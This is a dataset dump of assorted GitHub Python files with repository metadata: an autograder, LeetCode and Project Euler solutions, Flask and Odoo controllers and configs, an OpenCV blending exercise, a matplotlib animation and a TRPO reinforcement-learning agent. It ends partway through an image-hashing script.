psutil.Process(prog.pid)\n mem_usage = prog_info.memory_info().rss / 1024 / 1024\n max_mem_usage = max(max_mem_usage, mem_usage)\n if mem_usage > self.test_limits.memory_limit:\n ed_time = time.time()\n time_usage = (ed_time - st_time) * 1000\n prog.terminate()\n return TestCase.TestResult(TestCase.TestResultType.memory_limit_exceeded, time_usage, mem_usage)\n if not prog.is_alive():\n break\n except psutil.NoSuchProcess:\n break \n \n prog.join()\n ret = parent_pip.recv()\n assert isinstance(ret, TestCase.TestResult)\n ret.memory_used = max_mem_usage\n parent_pip.close()\n return ret\nclass PrewrittenFileCase(PrewrittenScriptCase):\n # tester that runs pre-written test cases\n # the test case could be either two files (input and output) \n # or a function that accept the tested function and return if the output is correct\n \n def _load_test_case(self): \n assert self.testcase_path.endswith('.yml')\n with open(self.testcase_path, 'r') as f:\n file_case = yaml.load(f, Loader=yaml.FullLoader)\n for arg_str in file_case['args']:\n if isinstance(arg_str, str):\n self.test_args.append(eval(arg_str))\n else:\n self.test_args.append(arg_str)\n self.test_expected = file_case['expected']\n if isinstance(self.test_expected, str):\n self.test_expected = eval(self.test_expected)\n \n def __init__(self, testcase_path : str, tested_func_name, case_name: str = \"\", test_limits: TestCase.TestLimits = TestCase.TestLimits()):\n # test_case is the path to the yml file\n self.testcase_path = testcase_path\n self.test_args = []\n self.test_expected = None\n def file_syle_case_handler(func : callable) -> PrewrittenScriptCase.EvaluatorT: \n # make sure that this str is indicating the path to a yml file\n output = func(*self.test_args)\n is_correct =(output == self.test_expected)\n if is_correct:\n return PrewrittenScriptCase.EvaluatorResult(is_correct)\n else:\n return PrewrittenFileCase.EvaluatorResult(is_correct, self.test_expected, output) \n\n super().__init__(file_syle_case_handler, tested_func_name, case_name, test_limits)\n ","repo_name":"ttzytt/PyAutoGrade","sub_path":"src/test_case.py","file_name":"test_case.py","file_ext":"py","file_size_in_byte":12239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"8589733042","text":"\"\"\"\nLeetCode Problem: 121. Best Time to Buy and Sell Stock\nLink: https://leetcode.com/problems/best-time-to-buy-and-sell-stock/\nWritten by: Mostofa Adib Shakib\nLanguage: Python\n\n\"\"\"\n\nclass Solution:\n def maxProfit(self, prices: List[int]) -> int:\n if not prices: return 0\n \n minPrice = float('inf') # keeps track of the last min found\n maxProfit = 0 # maximum profit seen so far\n n = len(prices)\n for i in range(n):\n minPrice = min(minPrice, prices[i])\n maxProfit = max(maxProfit, (prices[i] - minPrice))\n \n return maxProfit # returns the maxmimum profit","repo_name":"mostofashakib/Applied-Algorithm","sub_path":"Leetcode/Python Solutions/Arrays/BestTimetoBuyandSellStock.py","file_name":"BestTimetoBuyandSellStock.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"6599259467","text":"#!/usr/bin/env python\n\nimport logging, os\n\n# Flask app debug value. \n#DEBUG = False # DEBUG AND INFO log levels won't be shown..\nDEBUG = True \n\n# Used for running the flask server independent of mod_wsgi\n# using SERVER_NAME as the var name makes views fail..\n# Set servername to gameserver base url\n#SERVERNAME = \"127.0.0.1\"\nSERVERNAME = \"localhost\" \nSERVER_PORT = 8139\n#SERVER_PORT = 5000\n\n# URLs from which request (ajax) can be made to this server\nALLOWED_DOMAINS = \"*\" # all\n#ALLOWED_DOMAINS = \"http://\"+SERVERNAME # allow calls from elsewhere in the same server\n\n#PREFERRED_URL_SCHEME='https'\n\n# Get the current dir for the application\nAPPLICATION_PATH = os.path.dirname(os.path.realpath(__file__))\n\n# If mod_wsgi is used, messages will also get logged to the apache log files \nLOG_FILE = os.path.join(APPLICATION_PATH, \"nlpserver.log\") \nDEFAULT_LOG_FORMATTER = logging.Formatter(\\\n \"%(asctime)s - %(levelname)s - %(message)s\")\n\n# these not really needed since DEBUG_VAL above influences this\n#DEFAULT_LOG_LEVEL = logging.DEBUG \n#DEFAULT_LOG_LEVEL = logging.WARNING\n","repo_name":"tiltfactor/mg-game","sub_path":"nlp/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"38"} +{"seq_id":"8585582372","text":"import numpy as np, matplotlib.pyplot as plt\r\nfrom matplotlib.animation import FuncAnimation\r\n\r\n\r\ndef r(t):\r\n return np.cosh(t)*np.array([np.cos(t), np.sin(t)])\r\n\r\nplt.style.use('seaborn-darkgrid')\r\n\r\nfig, ax = plt.subplots()\r\n\r\nscale = 10\r\nax.set_xlim(-scale, scale)\r\nax.set_ylim(-scale, scale)\r\n\r\nax.axhline(y=0, color='darkgray')\r\nax.axvline(x=0, color='darkgray')\r\n\r\nline, = ax.plot(r(0)[0], r(0)[1], marker = 'o', markersize = 6)\r\n\r\nt = np.linspace(0, np.pi, 200)\r\n\r\ndef animation_frame(i):\r\n\r\n line.set_xdata(r(t[i])[0])\r\n line.set_ydata(r(t[i])[1])\r\n\r\n return line,\r\n\r\nanimation = FuncAnimation(fig, func = animation_frame, frames = range(len(t)), interval = 0.0001)\r\n\r\nanimation.save('oblig.gif', writer='imagemagick', fps=20)\r\n#plt.show()\r\n","repo_name":"erikasan/klassmek","sub_path":"rotating_body.py","file_name":"rotating_body.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"21282048872","text":"from odoo import http\nfrom odoo.http import request\n\nfrom odoo.tools import float_round\n\n\nclass SaleTimesheetController(http.Controller):\n\n @http.route('/timesheet/plan', type='json', auth=\"user\")\n def plan(self, domain):\n values = self._prepare_plan_values(domain)\n view = request.env['ir.model.data'].get_object('sale_timesheet', 'timesheet_plan')\n return {\n 'html_content': view.render(values)\n }\n\n def _prepare_plan_values(self, domain):\n values = {\n 'currency': request.env.user.company_id.currency_id,\n 'timesheet_lines': request.env['account.analytic.line'].search(domain),\n 'domain': domain,\n }\n hour_rounding = request.env.ref('product.product_uom_hour').rounding\n billable_types = ['non_billable', 'billable_time', 'billable_fixed']\n\n # -- Dashboard (per billable type)\n dashboard_values = {\n 'hours': dict.fromkeys(billable_types + ['total'], 0.0),\n 'rates': dict.fromkeys(billable_types + ['total'], 0.0),\n 'money_amount': {\n 'invoiced': 0.0,\n 'to_invoiced': 0.0,\n 'cost': 0.0,\n 'total': 0.0,\n }\n }\n dashboard_domain = domain + [('timesheet_invoice_type', '!=', False)] # force billable type\n dashboard_data = request.env['account.analytic.line'].read_group(dashboard_domain, ['unit_amount', 'timesheet_revenue', 'timesheet_invoice_type'], ['timesheet_invoice_type'])\n\n dashboard_total_hours = sum([data['unit_amount'] for data in dashboard_data])\n for data in dashboard_data:\n billable_type = data['timesheet_invoice_type']\n # hours\n dashboard_values['hours'][billable_type] = float_round(data.get('unit_amount'), precision_rounding=hour_rounding)\n dashboard_values['hours']['total'] += float_round(data.get('unit_amount'), precision_rounding=hour_rounding)\n # rates\n dashboard_values['rates'][billable_type] = float_round(data.get('unit_amount') / dashboard_total_hours * 100, precision_rounding=hour_rounding)\n dashboard_values['rates']['total'] += float_round(data.get('unit_amount') / dashboard_total_hours * 100, precision_rounding=hour_rounding)\n\n # money_amount\n dashboard_values['money_amount']['invoiced'] = sum(values['timesheet_lines'].filtered(lambda l: l.timesheet_invoice_id).mapped('timesheet_revenue'))\n dashboard_values['money_amount']['to_invoice'] = sum(values['timesheet_lines'].filtered(lambda l: not l.timesheet_invoice_id).mapped('timesheet_revenue'))\n dashboard_values['money_amount']['cost'] = sum(values['timesheet_lines'].mapped('amount'))\n dashboard_values['money_amount']['total'] = sum([dashboard_values['money_amount'][item] for item in dashboard_values['money_amount'].keys()])\n\n values['dashboard'] = dashboard_values\n\n # -- Time Repartition (per employee)\n repartition_domain = domain + [('employee_id', '!=', False), ('timesheet_invoice_type', '!=', False)] # force billable type\n repartition_data = request.env['account.analytic.line'].read_group(repartition_domain, ['employee_id', 'timesheet_invoice_type', 'unit_amount'], ['employee_id', 'timesheet_invoice_type'], lazy=False)\n\n # set repartition per type per employee\n repartition_employee = {}\n for data in repartition_data:\n employee_id = data['employee_id'][0]\n repartition_employee.setdefault(employee_id, dict(\n employee_id=data['employee_id'][0],\n employee_name=data['employee_id'][1],\n non_billable=0.0,\n billable_time=0.0,\n billable_fixed=0.0,\n total=0.0\n ))[data['timesheet_invoice_type']] = float_round(data.get('unit_amount', 0.0), precision_rounding=hour_rounding)\n\n # compute total\n for employee_id, vals in repartition_employee.items():\n repartition_employee[employee_id]['total'] = sum([vals[inv_type] for inv_type in billable_types])\n\n hours_per_employee = [repartition_employee[employee_id]['total'] for employee_id in repartition_employee]\n values['repartition_employee_max'] = max(hours_per_employee) if hours_per_employee else 1\n values['repartition_employee'] = repartition_employee\n\n return values\n","repo_name":"Eason-Chen0452/odoo","sub_path":"addons/sale_timesheet/controllers/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4424,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"31219632485","text":"import cv2\r\nimport numpy as np\r\n\r\nimg1 = cv2.imread(\"image1.jpg\")\r\nimg2 = cv2.imread(\"image2.jpg\")\r\nimposeImg = cv2.imread(\"background1.jpg\")\r\n#Adds images over each other\r\n#add = img1 + img2\r\n\r\n#Adds pixel values\r\n##add = cv2.add(img1,img2)\r\n\r\n#Weighted add to specify how much weight each image gets (opaqueness) \r\n##weighted = cv2.addWeighted(img1, 0.6, img2, 0.4, 0)\r\n\r\n\r\nrows , cols, channels = imposeImg.shape\r\nroi = img1[0:rows, 0:cols]\r\n\r\nmain2gray = cv2.cvtColor(imposeImg, cv2.COLOR_BGR2GRAY)\r\nret, mask = cv2.threshold(main2gray, 220, 255, cv2.THRESH_BINARY_INV)\r\n\r\nmask_inv = cv2.bitwise_not(mask)\r\nimg1_bg = cv2.bitwise_and(roi, roi, mask=mask_inv)\r\nmain_fg = cv2.bitwise_and(imposeImg, imposeImg, mask=mask)\r\n\r\ndst = cv2.add(img1_bg, img2_fg)\r\nimg1[0:rows, 0:cols] = dist\r\n\r\ncv2.imshow(\"added nicely\", img1)\r\ncv2.imshow(\"Image1\", img1)\r\ncv2.imshow(\"Image2\", img2)\r\ncv2.imshow(\"IMPOSING\", imposeImg)\r\n##cv2.imshow(\"BOTH\", add)\r\n##cv2.imshow(\"WEIGHTED\", weighted)\r\n\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()\r\n","repo_name":"malhotra5/Completed-Projects","sub_path":"openCv/imageArithimeticsAndLogic.py","file_name":"imageArithimeticsAndLogic.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"16398528662","text":"from app.controllers.admin_routes import *\nfrom app.models.user import *\nfrom app.controllers.admin_routes import admin\nfrom app.models.emailTemplate import *\nfrom app.login_manager import require_login\nfrom flask import Flask, redirect, url_for, flash, jsonify, json, request, flash\n\n@admin.route('/admin/emailTemplates', methods=['GET'])\n# @login_required\ndef email_templates():\n currentUser = require_login()\n if not currentUser: # Not logged in\n return render_template('errors/403.html'), 403\n if not currentUser.isLaborAdmin: # Not a labor admin\n if currentUser.student: # logged in as a student\n return redirect('/laborHistory/' + currentUser.student.ID)\n elif currentUser.supervisor:\n return render_template('errors/403.html'), 403\n emailTemplateID = EmailTemplate.select()\n purpose = EmailTemplate.select(EmailTemplate.purpose).distinct()\n formType = EmailTemplate.select(EmailTemplate.formType).distinct()\n action = EmailTemplate.select(EmailTemplate.action).distinct()\n subject = EmailTemplate.select(EmailTemplate.subject).distinct()\n recipient = EmailTemplate.select(EmailTemplate.audience).distinct()\n body = EmailTemplate.select(EmailTemplate.body)\n return render_template( 'admin/emailTemplates.html',\n\t\t\t\t title=('Email Templates'),\n emailTemplateID = emailTemplateID,\n purpose = purpose,\n action = action,\n formType = formType,\n subject = subject,\n recipient = recipient,\n body = body\n )\n\n@admin.route('/admin/emailTemplates/getEmailArray/', methods=['GET'])\n\ndef getEmailArray():\n response = EmailTemplate.select()\n emailTemplateArrayDict = []\n for i in range(len(response)):\n currentTemplateDict = { \"ID\": response[i].emailTemplateID,\n \"purpose\": response[i].purpose,\n \"subject\": response[i].subject,\n \"body\": response[i].body,\n \"audience\": response[i].audience,\n \"formType\": response[i].formType,\n \"action\": response[i].action\n }\n emailTemplateArrayDict.append(currentTemplateDict)\n\n return json.dumps(emailTemplateArrayDict)\n\n@admin.route('/admin/emailTemplates/getPurpose/', methods=['GET'])\n\ndef getPurpose(fieldsDictSTR):\n try:\n fieldsDict = json.loads(fieldsDictSTR)\n # populate the Subject field depending on other dropdowns' values\n emailSubjects = EmailTemplate.select(EmailTemplate.subject).where(EmailTemplate.audience == fieldsDict['recipient'], EmailTemplate.formType == fieldsDict['formType'], EmailTemplate.action == fieldsDict['action'])\n subjectList = []\n subjectList.append({\"Subject\":emailSubjects[0].subject})\n return json.dumps(subjectList)\n except Exception as e:\n print(\"ERROR in getPurpose(): \", e)\n return jsonify({\"Success\": False}), 500\n\n@admin.route('/admin/emailTemplates/getEmail/', methods=['GET'])\n\ndef getEmail(fieldsDictSTR):\n try:\n fieldsDict = json.loads(fieldsDictSTR)\n email = EmailTemplate.get(EmailTemplate.action == fieldsDict[\"action\"], EmailTemplate.audience == fieldsDict[\"recipient\"], EmailTemplate.formType == fieldsDict[\"formType\"])\n purposeList = {\"emailBody\": email.body, \"emailSubject\": email.subject}\n return json.dumps(purposeList)\n except Exception as e:\n print(\"ERROR getEmail(): \", e)\n return jsonify({\"Success\": False})\n\n@admin.route('/admin/emailTemplates/postEmail', methods=['POST'])\ndef postEmail():\n try:\n email = EmailTemplate.get(EmailTemplate.audience == request.form['recipient'], EmailTemplate.formType == request.form['formType'], EmailTemplate.action == request.form['action'])\n email.body = request.form['body']\n email.subject = request.form[\"purpose\"]\n email.save()\n message = \"The Email Template '{0} {1} {2}' has been successfully updated.\".format(email.audience, email.formType, email.action)\n flash(message, \"success\")\n return (jsonify({\"Success\": True}))\n except Exception as e:\n print(\"ERROR in postEmail: \", e)\n return jsonify({\"Success\": False})\n","repo_name":"BCStudentSoftwareDevTeam/lsf-oss","sub_path":"app/controllers/admin_routes/emailTemplateController.py","file_name":"emailTemplateController.py","file_ext":"py","file_size_in_byte":4519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"28382995297","text":"import torch\nimport numpy as np\nimport os\nfrom models import network\nfrom rl_utils.running_filter.running_filter import ZFilter\nfrom utils import select_actions, eval_actions, conjugated_gradient, line_search, set_flat_params_to\nfrom datetime import datetime\nimport csv\nimport quanser_robots\nclass trpo_agent:\n def __init__(self, env, args):\n self.env = env\n self.args = args\n\n self.net = network(self.env.observation_space.shape[0], self.env.action_space.shape[0])\n self.old_net = network(self.env.observation_space.shape[0], self.env.action_space.shape[0])\n\n self.old_net.load_state_dict(self.net.state_dict()) # old net means the old policy\n\n self.optimizer = torch.optim.Adam(self.net.Value_net.parameters(), lr=self.args.lr) #it is used to optimize value net\n # define the running mean filter\n self.running_state = ZFilter((self.env.observation_space.shape[0],), clip=5)\n\n if not os.path.exists(self.args.save_dir):\n os.mkdir(self.args.save_dir)\n self.model_path = self.args.save_dir + self.args.env_name + '/'\n if not os.path.exists(self.model_path):\n os.mkdir(self.model_path)\n\n def learn(self):\n file = open('logs/%s/lr=%.5f_batchsize=%d_gamma=%.3f_tau=%.3f.csv' % (self.args.env_name, self.args.lr, self.args.batch_size, self.args.gamma, self.args.tau), 'w', encoding='utf-8', newline='')\n csv_writer = csv.writer(file)\n csv_writer.writerow(['episode', 'rewards', 'final reward', 'VL', 'PL*1e7'])\n print('name of environment: ', self.args.env_name)\n print('gamma=%.3f\\tlr=%.5f\\tbatchsize=%d\\ttau=%.4f' % (self.args.gamma, self.args.lr, self.args.batch_size, self.args.tau))\n\n num_updates = self.args.total_timesteps // self.args.nsteps # how many samples we need to collect in a step\n obs = self.running_state(self.env.reset())\n final_reward = 0\n episode_reward = 0\n self.dones = False\n\n for update in range(num_updates):\n obs = self.running_state(self.env.reset())\n mb_obs, mb_rewards, mb_actions, mb_dones, mb_values = [], [], [], [], []\n for step in range(self.args.nsteps):\n with torch.no_grad():\n obs_tensor = self._get_tensors(obs)\n value, pi = self.net(obs_tensor) # state_value, (action_mean, action_std)\n # choose action according to sampling the normalization (action_mean, action_std)\n actions = select_actions(pi)\n mb_obs.append(np.copy(obs))\n mb_actions.append(actions)\n mb_dones.append(self.dones)\n mb_values.append(value.detach().numpy().squeeze())\n\n # execute action and get new obs, reward, done\n obs_, reward, done, _ = self.env.step(actions)\n self.dones = done\n mb_rewards.append(reward)\n if done: # after executing the actions the state is done\n obs_ = self.env.reset()\n obs = self.running_state(obs_)\n episode_reward += reward #\n mask = 0.0 if done else 1.0\n final_reward *= mask # if done then final_reward = episode_reward else final_rewards unchanged\n final_reward += (1 - mask) * episode_reward\n episode_reward *= mask # if done then episode_reward=0 else episode_reward unchanged\n\n mb_obs = np.asarray(mb_obs, dtype=np.float32)\n mb_rewards = np.asarray(mb_rewards, dtype=np.float32)\n mb_actions = np.asarray(mb_actions, dtype=np.float32)\n mb_dones = np.asarray(mb_dones, dtype=np.bool)\n mb_values = np.asarray(mb_values, dtype=np.float32)\n\n with torch.no_grad():\n obs_tensor = self._get_tensors(obs)\n last_value, _ = self.net(obs_tensor)\n last_value = last_value.detach().numpy().squeeze()\n\n mb_returns = np.zeros_like(mb_rewards) # [0,0,...,0]\n mb_advs = np.zeros_like(mb_rewards) # [0,0,...,0]\n lastgaelam = 0\n for t in reversed(range(self.args.nsteps)):\n if t == self.args.nsteps - 1:\n nextnonterminal = 1.0 - self.dones\n nextvalues = last_value\n else:\n nextnonterminal = 1.0 - mb_dones[t + 1]\n nextvalues = mb_values[t + 1]\n delta = mb_rewards[t] + self.args.gamma * nextvalues * nextnonterminal - mb_values[t] # A(s)=[R(s->s') + r*V(s') - V(s)]\n mb_advs[t] = lastgaelam = delta + self.args.gamma * self.args.tau * nextnonterminal * lastgaelam # advs[t] = A(t) + r*tau*advs[t+1]\n mb_returns = mb_advs + mb_values # A(t)+V(t) = new_V(t)\n mb_advs = (mb_advs - mb_advs.mean()) / (mb_advs.std() + 1e-5) # normalize advantages\n\n self.old_net.load_state_dict(self.net.state_dict()) # store the old policy\n # start to update the network\n policy_loss, value_loss = self._update_network(mb_obs, mb_actions, mb_returns, mb_advs)\n torch.save([self.net.state_dict(), self.running_state], self.model_path + 'lr=%.5f_batchsize=%d.pt' %\n (self.args.lr, self.args.batch_size))\n csv_writer.writerow([update, sum(mb_rewards), final_reward,value_loss, policy_loss*10000000])\n print('[{}] Update: {} / {}, Frames: {}, Reward sum: {:.8f}, Final reward: {:.8f}, VL: {:.8f}, PL: {:.3f}*1e7'.format(datetime.now(), update, \\\n num_updates, (update + 1)*self.args.nsteps, sum(mb_rewards), final_reward, value_loss, policy_loss*10000000))\n file.close()\n\n # start to update network\n def _update_network(self, mb_obs, mb_actions, mb_returns, mb_advs):\n mb_obs_tensor = torch.tensor(mb_obs, dtype=torch.float32)\n mb_actions_tensor = torch.tensor(mb_actions, dtype=torch.float32)\n mb_returns_tensor = torch.tensor(mb_returns, dtype=torch.float32).unsqueeze(1)\n mb_advs_tensor = torch.tensor(mb_advs, dtype=torch.float32).unsqueeze(1)\n\n values, _ = self.net(mb_obs_tensor) # values calculated by the old policy\n with torch.no_grad():\n _, pi_old = self.old_net(mb_obs_tensor) # actions(mean, std) calculated by the old policy\n\n # define surr_loss\n surr_loss = self._get_surrogate_loss(mb_obs_tensor, mb_advs_tensor, mb_actions_tensor, pi_old)\n # calculate the gradients of surr_loss to Policy_net.parameters\n surr_grad = torch.autograd.grad(surr_loss, self.net.Policy_net.parameters())\n # surr_grad -> flat surr_grad\n flat_surr_grad = torch.cat([grad.view(-1) for grad in surr_grad]).data\n\n # use the conjugated gradient to calculate the scaled direction vector (natural gradient)\n nature_grad = conjugated_gradient(self._fisher_vector_product, -flat_surr_grad, 10, mb_obs_tensor, pi_old)\n # calculate the scaleing ratio\n non_scale_kl = 0.5 * (nature_grad * self._fisher_vector_product(nature_grad, mb_obs_tensor, pi_old)).sum(0, keepdim=True)\n scale_ratio = torch.sqrt(non_scale_kl / self.args.max_kl)\n final_nature_grad = nature_grad / scale_ratio[0]\n # calculate the expected improvement rate...\n expected_improve = (-flat_surr_grad * nature_grad).sum(0, keepdim=True) / scale_ratio[0]\n # get the flat param ...\n prev_params = torch.cat([param.data.view(-1) for param in self.net.Policy_net.parameters()])\n # start to do the line search\n success, new_params = line_search(self.net.Policy_net, self._get_surrogate_loss, prev_params, final_nature_grad, \\\n expected_improve, mb_obs_tensor, mb_advs_tensor, mb_actions_tensor, pi_old)\n set_flat_params_to(self.net.Policy_net, new_params)\n # then trying to update the Value_net network\n inds = np.arange(mb_obs.shape[0])\n\n for _ in range(self.args.vf_itrs):\n value_loss = []\n np.random.shuffle(inds)\n for start in range(0, mb_obs.shape[0], self.args.batch_size):\n end = start + self.args.batch_size\n mbinds = inds[start:end]\n mini_obs = mb_obs[mbinds]\n mini_returns = mb_returns[mbinds]\n # put things in the tensor\n mini_obs = torch.tensor(mini_obs, dtype=torch.float32)\n mini_returns = torch.tensor(mini_returns, dtype=torch.float32).unsqueeze(1)\n values, _ = self.net(mini_obs)\n v_loss = (mini_returns - values).pow(2).mean()\n value_loss.append(v_loss.item())\n self.optimizer.zero_grad()\n v_loss.backward()\n self.optimizer.step()\n value_loss = np.asarray(value_loss)\n return surr_loss.item(), value_loss.mean()\n\n # get the surrogate loss\n def _get_surrogate_loss(self, obs, adv, actions, pi_old):\n _, pi = self.net(obs)\n log_prob = eval_actions(pi, actions) # the log probability of actions sampling in pi\n old_log_prob = eval_actions(pi_old, actions).detach() # the log probability of actions sampling in pi_old\n surr_loss = -torch.exp(log_prob - old_log_prob) * adv\n return surr_loss.mean()\n\n # the product of the fisher informaiton matrix and the nature gradient -> Ax\n def _fisher_vector_product(self, v, obs, pi_old): # (natural grad, obs, pi_old)\n kl = self._get_kl(obs, pi_old)\n kl = kl.mean()\n # start to calculate the second order gradient of the KL\n kl_grads = torch.autograd.grad(kl, self.net.Policy_net.parameters(), create_graph=True)\n flat_kl_grads = torch.cat([grad.view(-1) for grad in kl_grads])\n kl_v = (flat_kl_grads * torch.autograd.Variable(v)).sum()\n kl_second_grads = torch.autograd.grad(kl_v, self.net.Policy_net.parameters())\n flat_kl_second_grads = torch.cat([grad.contiguous().view(-1) for grad in kl_second_grads]).data\n flat_kl_second_grads = flat_kl_second_grads + self.args.damping * v\n return flat_kl_second_grads\n\n # get the kl divergence between two distributions\n def _get_kl(self, obs, pi_old):\n mean_old, std_old = pi_old\n _, pi = self.net(obs)\n mean, std = pi\n kl = -torch.log(std / std_old) + (std.pow(2) + (mean - mean_old).pow(2)) / (2 * std_old.pow(2)) - 0.5\n return kl.sum(1, keepdim=True)\n \n # get the tensors\n def _get_tensors(self, obs):\n return torch.tensor(obs, dtype=torch.float32).unsqueeze(0)\n","repo_name":"gongchenooo/CS339-Quanser-Robots","sub_path":"Codes/TRPO2/trpo_agent.py","file_name":"trpo_agent.py","file_ext":"py","file_size_in_byte":10625,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"13355651926","text":"import os\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\nbasedir = os.path.abspath(os.path.dirname(__file__))\n\nclass Config(object):\n\tDEBUG = False\n\tTESTING = False\n\n\tSECRET_KEY = os.getenv('SECRET_KEY')\n\n\tDATABASE = os.path.join(basedir, 'googlesheetsdatas.db')\n\tSQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, 'feedbackData.db')\n\n\tUPLOAD_FOLDER = os.path.join(basedir, 'app/static/images/feedbacks')\n\tALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg', 'gif'])\n\tMAX_CONTENT_LENGTH = 1024 * 1024 * 4 \t# 4MB\n\n\tSEND_FILE_MAX_AGE_DEFAULT = 0\n\n\tSESSION_COOKIE_SECURE = True\n\nclass ProductionConfig(Config):\n\tpass\n\nclass DevelopmentConfig(Config):\n\tDEBUG = True\n\n\tSESSION_COOKIE_SECURE = False\n","repo_name":"SpriginD/LabAppProject","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"14753908387","text":"################################################################################################################################################\r\n# Project Euler Problem 56 -- Powerful Digit Sums\r\n# By Mike Kane \r\n#\r\n# A googol (10100) is a massive number: one followed by one-hundred zeros; 100100 is almost unimaginably large: one followed by two-hundred zeros.\r\n#\r\n# Despite their size, the sum of the digits in each number is only 1.\r\n#\r\n# Considering natural numbers of the form, a**b, where a, b < 100, what is the maximum digital sum?\r\n#\r\n################################################################################################################################################\r\n\r\ndef getAnswer():\r\n digitalSum = 0\r\n tempSum = 0\r\n for a in range(0, 100):\r\n for b in range(0, 100):\r\n tempSum = 0\r\n number = a**b\r\n number = str(number)\r\n for char in number:\r\n tempSum += int(char)\r\n if tempSum > digitalSum: digitalSum = tempSum\r\n return digitalSum\r\n ","repo_name":"richglezriv/rdlms","sub_path":"euler_solution_56.py","file_name":"euler_solution_56.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"30949502777","text":"#!/usr/bin/env python\n\n# coding: utf-8\n\nimport SimpleITK as sitk\nimport numpy as np\nimport os\nimport sys\nimport time\n\ndef get_superresolution_recon(img, ref_img):\n resampler = sitk.ResampleImageFilter()\n resampler.SetDefaultPixelValue(0.0)\n\n # sagittal image is the reference\n resampler.SetReferenceImage(ref_img)\n\n # 5th order b-spline interpolator\n resampler.SetInterpolator(sitk.sitkBSpline)\n\n # rotate image to reference orientation\n resampler.SetOutputDirection(ref_img.GetDirection())\n\n # origin\n resampler.SetOutputOrigin(ref_img.GetOrigin())\n\n # output pixel type\n resampler.SetOutputPixelType(sitk.sitkUInt16)\n\n # output image spacing (isotropic at in-plane resolution)\n in_plane_resolution = min(ref_img.GetSpacing())\n resampler.SetOutputSpacing((in_plane_resolution,in_plane_resolution,in_plane_resolution))\n\n # set output size\n siz = ref_img.GetSize()\n spc = ref_img.GetSpacing()\n resampler.SetSize((int(siz[0]*spc[0]/in_plane_resolution), \n int(siz[1]*spc[1]/in_plane_resolution), \n int(round(siz[2]*spc[2]/in_plane_resolution))))\n\n # identity transform (no transform necessary for interpolation step)\n resampler.SetTransform(sitk.Transform(ref_img.GetDimension(), sitk.sitkIdentity))\n\n img_resampled = resampler.Execute(img)\n\n return img_resampled\n\ndef read_dicom_dir(input_dicom_path):\n series_reader = sitk.ImageSeriesReader()\n dicom_names = series_reader.GetGDCMSeriesFileNames(input_dicom_path)\n series_reader.SetFileNames(dicom_names)\n series_reader.MetaDataDictionaryArrayUpdateOn()\n series_reader.LoadPrivateTagsOn()\n img = series_reader.Execute()\n\n return (img, series_reader)\n\n# parse input arguments\n# 1. t2wi_path: path to directory containing three subdirectories \n# whose names match \"cor\", \"sag\", and \"axial\" (case-insensitive)\nt2wi_path = sys.argv[1]\n# 2. output_filename: filename for super-resolution image as .nii file\noutput_filename = sys.argv[2]\n\n# get paths to directories containing the three orthogonal DICOM MR image stacks\nimg_stack_folders = os.listdir(t2wi_path)\nsag_dir = [x for x in img_stack_folders if \"sag\" in x.lower()][0]\ncor_dir = [ x for x in img_stack_folders if \"cor\" in x.lower()][0]\naxial_dir = [ x for x in img_stack_folders if \"axial\" in x.lower()][0]\n\n# Sagittal image (reference)\nprint(\"resample sagittal image stack\")\nsag_img, series_reader = read_dicom_dir(os.path.join(t2wi_path,sag_dir))\nsag_img_resampled = get_superresolution_recon(sag_img, sag_img)\nsitk.WriteImage(sag_img_resampled, \"resampled_sag.nii\")\n\n# Coronal image\nprint(\"resample coronal image stack\")\ncor_img = read_dicom_dir(os.path.join(t2wi_path,cor_dir))[0]\ncor_img_resampled = get_superresolution_recon(cor_img, sag_img_resampled)\nsitk.WriteImage(cor_img_resampled, \"resampled_cor.nii\")\n\n# Resample axial image\nprint(\"resample axial image stack\")\naxial_img = read_dicom_dir(os.path.join(t2wi_path,axial_dir))[0]\naxial_img_resampled = get_superresolution_recon(axial_img, sag_img_resampled)\nsitk.WriteImage(axial_img_resampled, \"resampled_axial.nii\")\n\n# Fuse the three MR image stacks using the median of the three images \nprint(\"fusing images\")\narr = np.stack([sitk.GetArrayFromImage(sag_img_resampled),\n sitk.GetArrayFromImage(cor_img_resampled),\n sitk.GetArrayFromImage(axial_img_resampled)])\nmedian_img = sitk.GetImageFromArray(np.median(arr, axis=0))\n\n# set image properties\nmedian_img.SetDirection(sag_img_resampled.GetDirection())\nmedian_img.SetSpacing(sag_img_resampled.GetSpacing())\nmedian_img.SetOrigin(sag_img_resampled.GetOrigin())\n\n# append file extension if not already included\nif \".nii\" not in output_filename:\n output_filename = output_filename+\".nii\"\n\n# write .nii image\nsitk.WriteImage(median_img, output_filename)\n\n\n","repo_name":"TannerSorensen/sitk_tools","sub_path":"fuse.py","file_name":"fuse.py","file_ext":"py","file_size_in_byte":3835,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"38"} +{"seq_id":"36867801209","text":"#IMAGE HASHING ALGORITHMS- AVERAGE HASH, PERCEPTUAL HASH, DIFFRENCE HASH, WAVELET HASH\n\n#To compile this script through command prompt –\n#python hash.py --dataset 